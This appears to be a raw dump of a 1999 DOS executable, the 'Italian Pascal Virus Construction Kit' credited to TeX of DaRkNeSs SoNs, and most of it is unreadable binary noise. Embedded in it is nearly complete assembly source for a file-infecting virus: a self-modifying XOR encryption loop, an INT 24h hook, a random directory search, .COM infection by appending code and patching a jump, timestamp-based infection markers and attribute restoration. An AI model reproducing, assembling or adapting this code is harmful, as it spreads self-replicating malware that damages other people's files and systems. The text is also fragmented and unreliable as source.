MZ;5<CUZ_qv{Rmz (j5:? !&8=BTY^puzW a f x }    3 8 = O T Y l q v   " ' , > C H Z _ d ( - 2 J O T f k p   %*<AFX]bty~ !&8=BTY^puz"49> #(:?DV[`rw|  %7<ASX]gl....)...8.=.O.T.Y.k.p.u...............//////4/9/K/P/U/g/l/q////////////////000+00050G0L0Q0c0h0m0000000000000000 111'1,111C1H1M1_1d1i1{1111111111111112 22#2(2-2?2D2I2[2`2e2w2|2222222222222233 33$3)3;3@3E3W3\3a3s3x3}333333333333334 44 4%474<4A4S4X4]4o4t4y444444444444445555!53585=5O5T5Y5k5p5u5555555555555556666/64696K6P6U6g6l6q6666666666666666777+70757G7L7Q7c7h7m7777777777777777 888'8,818C8H8M8_8d8i8{8888888888888889 99#9(9-9?9D9I9[9`9e9w9|99999999999999:: ::$:):;:@:E:W:\:a:s:x:}::::::::::::::; ;; ;%;7;<;A;S;X;];o;t;y;;;;;;;;;;;;;;<<<<!<3<8<=<O<T<Y<k<p<u<<<<<<<<<<<<<<<====/=4=9=K=P=U=g=l=q================>>>+>0>5>G>L>Q>c>h>m>>>>>>>>>>>>>>>> ???'?,?1?C?H?M?_?d?i?{???????????????@ @@#@(@-@?@D@I@[@`@e@w@|@@@@@@@@@@@@@@AA AA$A)A;A@AEAWA\AaAsAxA}AAAAAAAAAAAAAAB BB B%B7B====================== Security Access =======================:Please answer the following questions with an "y" or "n" !Is the men Called  the chief of DaRkNeSs SoNs?@Is  The name of a Virus?Is  the Tinyest virus on the net?? my brother?? CHECK SUCCES. - You may proceed.1 FAILED. - You are too silly to use this program.U |u WWP uƆ yƆ yƆ yƆ yWWP uƆyƆyƆ yƆ!yW"WP uƆ2yƆ3yƆ4yƆ5yW6WP uƆFnƆGnƆHnƆInWuFuWW1PuuFuWZW1PuuFuWuFuƆƆƆƆƆ<tWW1Pu0W1PuW1PuuFu PW ut抆0:u 0ƃ<tWW1Pu0W1PuW1PuuFu PW ut抆0:u 0ƃ<tWW1Pu0W1PuW1PuuFu PW ut抆0:u 0ƃ<tWW1Pu0W1Pu%W1PuuFu PW ut抆0:u 0ƃtWuFuu)u"W4W1PuuFuF WUW1PuuFuFF]K *************************************************************************K * *K * <> I. P. V. C. K. <> *K * or *K * Italian Pascal Virus Construction Kit *K * by *K * TeX [DaRkNeSs SoNs] *K * (c) DaRkNeSs SoNs LaB 1999 *U1|uWuFuWuFuWLW1PuuFuWW1PuuFuWW1PuuFuW0W1PuuFuW|W1PuuFuWW1PuuFuWW1PuuFuW`W1PuuFuWW1PuuFuWLW1PuuFuWuFu]QPlease enter name of the name of the file that will be created (es. virus.asm): U1|uWuFuWW1PuuFuWDW P|uuFuDWDWuDWuFu]Please enter your name : Please enter the virus name : U1|uW W1PuuFuW|W(P|uuFuW W1PuuFuWRW(P|uuFu]M;****************************************************************************M;* *;* VIRUS NAME.........: ;* AUTHOR.............: M;* Assembly: Tasm virus.asm -- tlink /t virus.obj *M;* source file created with "I.P.V.C.K." (c) TeX [DaRkNeSs SoNs] *U|uDWz W1PuuFuDW W1PuuFuDW W1Pu uFuDWRW1Pu uFuR0и2+‰F;F+DW P1PRu uFu;FuڿDW*P1PRuuFuDW1 W1Pu uFuDW|W1Pu uFu|0и2+‰F;F+DW P1PRu uFu;FuڿDW*P1PRuuFuDWL W1PuuFuDW W1PuuFuDW W1PuuFuDWz W1PuuFuDWuFu]xx equ offset s14xx equ offset s1 5v_len equ end_mark - start 5f_min_len equ 5 5f_max_len equ 55000 my_DTA equ 64000"dta_attr equ my_dta + 15h"dta_time equ my_dta + 16h"dta_date equ my_dta + 18h"dta_size equ my_dta + 1ah"dta_name equ my_dta + 1ehtemp_time equ 64100temp_date equ 64102temp_DTA_ofs equ 64104temp_DTA_seg equ 64106temp_old_drive equ 64108temp_old_attr equ 64110int24_es equ 64112int24_bx equ 64114addr_jmp_op equ 64120temp_path equ 64130vir_enc_buf equ 64300U1|uDW W1PuuFuDW W1PuuFuDW-W1PuuFuDWcW1PuuFuDWW1PuuFuDWW1PuuFuDWW1PuuFuDWW1PuuFuDW1W1PuuFuDWTW1PuuFuDWwW1PuuFuDWW1PuuFuDWW1PuuFuDWW1PuuFuDWW1PuuFuDW W1PuuFuDW&W1PuuFuDWBW1PuuFuDW^W1PuuFuDWzW1PuuFuDWW1PuuFuDWW1PuuFu]&MODIFY_PLACE macro place,op1,op2 & db 0c7h,46h  db (place - xx)% db op1,op2  endmU1|uDWBW1PuuFuDWCW1PuuFuDWjW1PuuFuDWW1PuuFuDWW1PuuFuDWW1PuuFuDWuFu] VIRUS SEGMENT4 ASSUME CS:VIRUS, DS:VIRUS, ES:VIRUS, SS:VIRUS ORG 100HU1|uDWW1PuuFuDWW1PuuFuDWW1PuuFuDWuFu]dummy: jmp startstart: db 0ddh,81h,0e8h,00 db 00 s1: db 5dh,05 db 0ebh,0f9h ! lea si,[bp+virus_body-xx] call crypt jmp short virus_body8CRYPT: MODIFY_PLACE n_loop, 31h, 14h . MOV dx, [bp+offset en_val-xx]n_loop: NOP ; \ NOP ; / INC si LOOP n_loop RET virus_body: call restore_selfmod . lea si,[bp+orig_bytes-xx]  mov di,100h cld movsb movsw push es mov ax,3524h int 21h mov cs:[int24_es],es mov cs:[int24_bx],bx pop es mov ax,2524h lea dx,[bp+new_int24-xx] push es mov ah,2fh int 21h mov cs:[temp_dta_ofs],bx mov cs:[temp_dta_seg],es pop es mov dx,my_dta mov ah,1ah mov ah,19h! mov cs:[temp_old_drive],alsave_orig_path: mov ah,47h xor dl,dl mov si,temp_path how_many_drives_to_check equ 1 change_drive: mov si,[bp+drv_ptr-xx] inc si mov [bp+drv_ptr-xx],si( cmp si,how_many_drives_to_check+1- jz @exit1 0 mov byte ptr dl,[bp+drive_tab-xx+si] mov ah,0eh int 21h2 ;jc change_drive  call goto_rootrandom_directory:( mov ah,2ch ( int 21h  shr dl,1( shr dl,1 ( add dl,64  mov [bp+mask_dir-xx],dl( xor bx,bx find_first_subdir: mov ah,4eh lea dx,[bp+mask_dir-xx]( mov cx,00010001b  jnc change_dir' ' mov al,[bp+mask_dir-xx]  inc al( cmp al,90 ( jbe ffs_1 ( sub al,26 ffs_1: mov [bp+mask_dir-xx],al( inc bh ( cmp bh,27  jz change_drive jmp find_first_subdir@exit1: jmp @exit2 change_dir: mov ah,3bh mov dx,dta_namefind_first_file: mov ah,04eh- mov cx,1  lea dx,[bp+mask_com-xx]f_ff1: int 21h jnc check_if_ill) mov ah,4eh ;# lea dx,[bp+mask_dir_all-xx]3 mov cx,00010001b  mov ah,4fh' int 21h (  call rest_orig_drive call goto_root call rest_orig_path cmp same_path,0 mov same_path,1! jz find_first_subdir.@exit2: jmp exit check_if_ill: mov ax,cs:[dta_size] cmp ax,f_max_len ja find_next_file cmp ax,f_min_len jb find_next_file mov ax,cs:[dta_time] and al,00011111b+ cmp al,00000011b  jne infectfind_next_file:6 mov ah,3eh 6 mov ah,4fh  jmp short f_ff1infect: mov one_infected,1 mov ax,4300h mov dx,dta_name% mov cs:[temp_old_attr],cx mov ax,4301h1 and cx,1111111111111110b 1 mov ax,3d02h  xchg ax,bx mov ax,5700h! mov cs:[temp_time],cx! mov cs:[temp_date],dx0 inc word ptr cs:[bp+offset generation-xx]get_val:1 mov ah,2ch 2 or dx,dx  je get_val# mov [bp+offset en_val-xx],dx- mov ah,3fh lea dx,[bp+orig_bytes-xx] mov cx,32 mov ax,4202h  xor cx,cx1 cwd  sub ax,30 mov word ptr cs:[addr_jmp_op+1],ax 0 mov byte ptr cs:[addr_jmp_op],0E9h nop lea si,[bp+start-xx]- mov di,vir_enc_buf  mov cx,v_len cld  rep movsb: mov si,vir_enc_buf+offset virus_body-offset start < call crypt 1 mov ah,40h 1 mov dx,vir_enc_buf  mov ax,4200h cwd8 mov ah,40h  mov dx,addr_jmp_op mov ax,5701h mov dx,cs:[temp_date] mov cx,cs:[temp_time] and cl,11100000b8 or cl,00000011b 8 mov ah,3eh  mov ax,4301h mov dx,dta_name mov cx,cs:[temp_old_attr]exit: call rest_orig_drive call goto_root call rest_orig_path push ds mov ax,2524h mov ds,cs:[int24_es] mov dx,cs:[int24_bx] pop ds mov dx,cs:[temp_dta_ofs] mov ds,cs:[temp_dta_seg] mov ax,0100h push ax# xor ax,ax ret; new_int24:( mov al,3 IRET goto_root: mov ah,3bh$ lea dx,[bp+backslash-xx] int 21hrest_orig_drive proc near& mov dl,cs:[temp_old_drive] RETrest_orig_drive endprest_orig_path: mov dx,temp_pathrestore_selfmod:' modify_place n_loop , 90h , 90horig_bytes db 90h,0CDh,20hmask_com db "*.CoM" ,0mask_dir db "?*" ,0mask_dir_all db "*" ,0'backslash db "\" ,0 same_path db 0one_infected db 0$drive_tab db 2 , 2 drv_ptr dw -17signature db "I.P.V.C.K. by TeX (c) [DKSNS] 1999".en_val dw 0 -generation dw 0 .  db "I.P.V.C.K."end_mark equ $U1|uDWpW1PuuFuDWuFuDWuFuDWW1PuuFuDWW1PuuFuDWW1PuuFuDWW1PuuFuDWW1PuuFuDW W1PuuFuDWW1PuuFuDW0W1PuuFuDWCW1PuuFuDW W1PuuFuDW W1PuuFuDW`W1PuuFuDWW1PuuFuDWW1PuuFuDWW1PuuFuDWW1PuuFuDWW1PuuFuDWW1PuuFuDW.W1PuuFuDW W1PuuFuDW W1PuuFuDW:W1PuuFuDWFW1PuuFuDWcW1PuuFuDWkW1PuuFuDWW1PuuFuDWW1PuuFuDWW1PuuFuDWW1PuuFuDW W1PuuFuDWW1PuuFuDWW1PuuFuDWW1PuuFuDW W1PuuFuDW(W1PuuFuDWEW1PuuFuDW W1PuuFuDWTW1PuuFuDWiW1PuuFuDWW1PuuFuDW W1PuuFuDWW1PuuFuDWW1PuuFuDWW1PuuFuDWW1PuuFuDWW1PuuFuDWW1PuuFuDWW1PuuFuDWW1PuuFuDWW1PuuFuDW W1PuuFuDW W1PuuFuDW/W1PuuFuDWW1PuuFuDWAW1PuuFuDW W1PuuFuDWcW1PuuFuDWsW1PuuFuDWW1PuuFuDWW1PuuFuDWW1PuuFuDW W1PuuFuDW W1PuuFuDWW1PuuFuDW W1PuuFuDWW1PuuFuDW W1PuuFuDWW1PuuFuDWW1PuuFuDW W1PuuFuDW*W1PuuFuDWSW1PuuFuDWW1PuuFuDWW1PuuFuDWW1PuuFuDWW1PuuFuDWW1PuuFuDW W1PuuFuDW*W1PuuFuDW<W1PuuFuDWeW1PuuFuDWW1PuuFuDWW1PuuFuDWW1PuuFuDWW1PuuFuDW W1PuuFuDWW1PuuFuDW W1PuuFuDW:W1PuuFuDWMW1PuuFuDW`W1PuuFuDWW1PuuFuDWW1PuuFuDWW1PuuFuDWW1PuuFuDWW1PuuFuDWW1PuuFuDWW1PuuFuDWHW1PuuFuDWqW1PuuFuDWW1PuuFuDW W1PuuFuDWW1PuuFuDWW1PuuFuDW W1PuuFuDW$W1PuuFuDW W1PuuFuDWBW1PuuFuDW W1PuuFuDWUW1PuuFuDWaW1PuuFuDWtW1PuuFuDWW1PuuFuDW W1PuuFuDW W1PuuFuDWW1PuuFuDWW1PuuFuDWW1PuuFuDWW1PuuFuDWW1PuuFuDW W1PuuFuDW W1PuuFuDW$W1PuuFuDWNW1PuuFuDWrW1PuuFuDWW1PuuFuDWW1PuuFuDWW1PuuFuDWW1PuuFuDWW1PuuFuDWW1PuuFuDWW1PuuFuDW W1PuuFuDW W1PuuFuDW* W1PuuFuDWD W1PuuFuDWc W1PuuFuDW W1PuuFuDW W1PuuFuDW W1PuuFuDW W1PuuFuDW W1PuuFuDW W1PuuFuDW W1PuuFuDW!W1PuuFuDW8!W1PuuFuDWW!W1PuuFuDWt!W1PuuFuDW!W1PuuFuDW!W1PuuFuDW!W1PuuFuDW!W1PuuFuDW W1PuuFuDW"W1PuuFuDW$"W1PuuFuDWW1PuuFuDW["W1PuuFuDW"W1PuuFuDW"W1PuuFuDW"W1PuuFuDW"W1PuuFuDW"W1PuuFuDWW1PuuFuDW #W1PuuFuDW0#W1PuuFuDWI#W1PuuFuDWW1PuuFuDW{#W1PuuFuDW"W1PuuFuDWW1PuuFuDW#W1PuuFuDW W1PuuFuDW#W1PuuFuDWW1PuuFuDW#W1PuuFuDW#W1PuuFuDW W1PuuFuDW W1PuuFuDW $W1PuuFuDW W1PuuFuDWQ$W1PuuFuDWZ$W1PuuFuDWW1PuuFuDW$W1PuuFuDW$W1PuuFuDW$W1PuuFuDW$W1PuuFuDW#%W1PuuFuDWD%W1PuuFuDWW1PuuFuDW W1PuuFuDWT%W1PuuFuDW%W1PuuFuDW%W1PuuFuDWW1PuuFuDW W1PuuFuDW%W1PuuFuDW%W1PuuFuDW &W1PuuFuDW W1PuuFuDW<&W1PuuFuDW<&W1PuuFuDW<&W1PuuFuDW W1PuuFuDWG&W1PuuFuDWc&W1PuuFuDW&W1PuuFuDW&W1PuuFuDW&W1PuuFuDW W1PuuFuDW&W1PuuFuDW&W1PuuFuDW W1PuuFuDW:'W1PuuFuDWl'W1PuuFuDW&W1PuuFuDWW1PuuFuDW W1PuuFuDW'W1PuuFuDW%W1PuuFuDW'W1PuuFuDWW1PuuFuDW'W1PuuFuDWD%W1PuuFuDW'W1PuuFuDWW1PuuFuDW W1PuuFuDW(W1PuuFuDW$(W1PuuFuDWA(W1PuuFuDW^(W1PuuFuDWv(W1PuuFuDWW1PuuFuDW W1PuuFuDW(W1PuuFuDWW1PuuFuDW W1PuuFuDW(W1PuuFuDW(W1PuuFuDW)W1PuuFuDWW1PuuFuDW W1PuuFuDW4)W1PuuFuDW:)W1PuuFuDWW)W1PuuFuDWn)W1PuuFuDW W1PuuFuDW)W1PuuFuDW)W1PuuFuDW)W1PuuFuDW)W1PuuFuDWW1PuuFuDW)W1PuuFuDW W1PuuFuDW)W1PuuFuDWW1PuuFuDW)W1PuuFuDW*W1PuuFuDWW1PuuFuDW)W1PuuFuDW W1PuuFuDW3*W1PuuFuDWG*W1PuuFuDWV*W1PuuFuDWz*W1PuuFuDW W1PuuFuDW*W1PuuFuDW W1PuuFuDW W1PuuFuDW*W1PuuFuDW*W1PuuFuDW*W1PuuFuDW W1PuuFuDW*W1PuuFuDW*W1PuuFuDW+W1PuuFuDW%+W1PuuFuDW.W1PuuFuDW W1PuuFuDW9+W1PuuFuDWW1PuuFuDWS+W1PuuFuDWW1PuuFuDWz+W1PuuFuDW+W1PuuFuDW W1PuuFuDW+W1PuuFuDW*W1PuuFuDW+W1PuuFuDW%+W1PuuFuDW.W1PuuFuDW+W1PuuFuDW+W1PuuFuDW.W1PuuFuDWuFuDWuFuDW,W1PuuFuDW ,W1PuuFuDW>,W1PuuFuDW\,W1PuuFuDWz,W1PuuFuDWuFuDW,W1PuuFuDW,W1PuuFuDW,W1PuuFuDW,W1PuuFuDWuFuDW-W1PuuFuDWuFuDWuFuDW?-W1PuuFuDWn-W1PuuFuDW-W1PuuFuDW-W1PuuFuDW-W1PuuFuDWuFu] VIRUS ENDS END DUMMYU1|uDWvPW1PuuFuDWPW1PuuFu]ÚuU1|u u跶菰u'NĿDW\uFu]1uU(W WuW Wu]˴<t <vV2$3@@l&&:t&B73-%!ú@&&<t<rPWX t-J0@*u&, %ôP0X u<wʴv3P$؀>tXπ>ut^C #6G#n6W 6w6O6o:w':w#xx:w:.w @>7$>ʊ˸PX>:u2ˋ6W6wr:w6r :6w**ˋ6Gt$ &p6G$&&ˀˠˋ6W t@3&Ju&:uË6_4;sau aCBBa$aˀ>utˠ u2 u & uˋ6EEE ]EZME06pˁ}t E׸?؉EM]MMM3U~&UJJ&u&} 3\<t4<t0<tDI<t'<t#<t7<tF< tO< r;t&C;v t }K;t&< rjC둀>t&C N& CC~3&E&] ]6&M&)M&} >u &G33  SQRPrX<t*<t-< t3< t5 2ReZ:v Q:t -ZY[:6vQR>ZYô2 2@؋Pڋ&<t!<t,< t5< t9G:vIu tutë笫_ZYVWU]_^$ڌ83£ $& *,.5!E%!#%!$%!?%!PPPnPPP_3Xǖ9sWT!NX[YZ^_]ϸY[33ۺ$2 t t&;t&+846. t3.0<#PS˸PP .%!4 6t)*226@:U452L!. t8Cñd 20PXPXPX$0<:rд!!#$456789:;<=>?uRuntime error at . Portions Copyright (c) 1983,90 Borland3<˃><uˡ<6D&;U|&;r&;U|&;Ew˸f+s ;:r˸P66w3׫3Etȫ3!r3><u&}u &]&U &} <h;t&Ë6}=;uÃ><u&}u &]&U&} <i&C;tË6}QV$&]WW&] t<_&E &]&U&} ^YU~WQup<t C< ud< uC_&]5]U~Wcu {_&]]U~]&}uÃ><u W&] t<U~WurC_&]]˰U~ WuNI~ F_&]]U~ Wvu< t<t CAF;Nu+ _&]]U~ Wu%vN2+~ D2_&]]܌66w2܌6w 66O:v2 6&2܌6 6w26O +r@6O }3;v3܌66w& 2&s&G6w6& 2)G<r)wuO2+rBt+GJu3+6+G܌6w6&%G:v t2u:Ď66G܌6 6w6GUW~ WPFHP~WW~ WvP~ Wvo] U~~CW~ WPFHPvW~ WFFPP\~ WP]܌6 6w6_22 **63ˋ66G2Ȁ&66G6W*rŠ2Ȁ&u܌6w 66_2 66G2Ȁ&܌66w& ܌66w&#܌66w&#܌66w܌66w& uL36_ t6 ƀu 2< 7>559=>@.& >@,!>@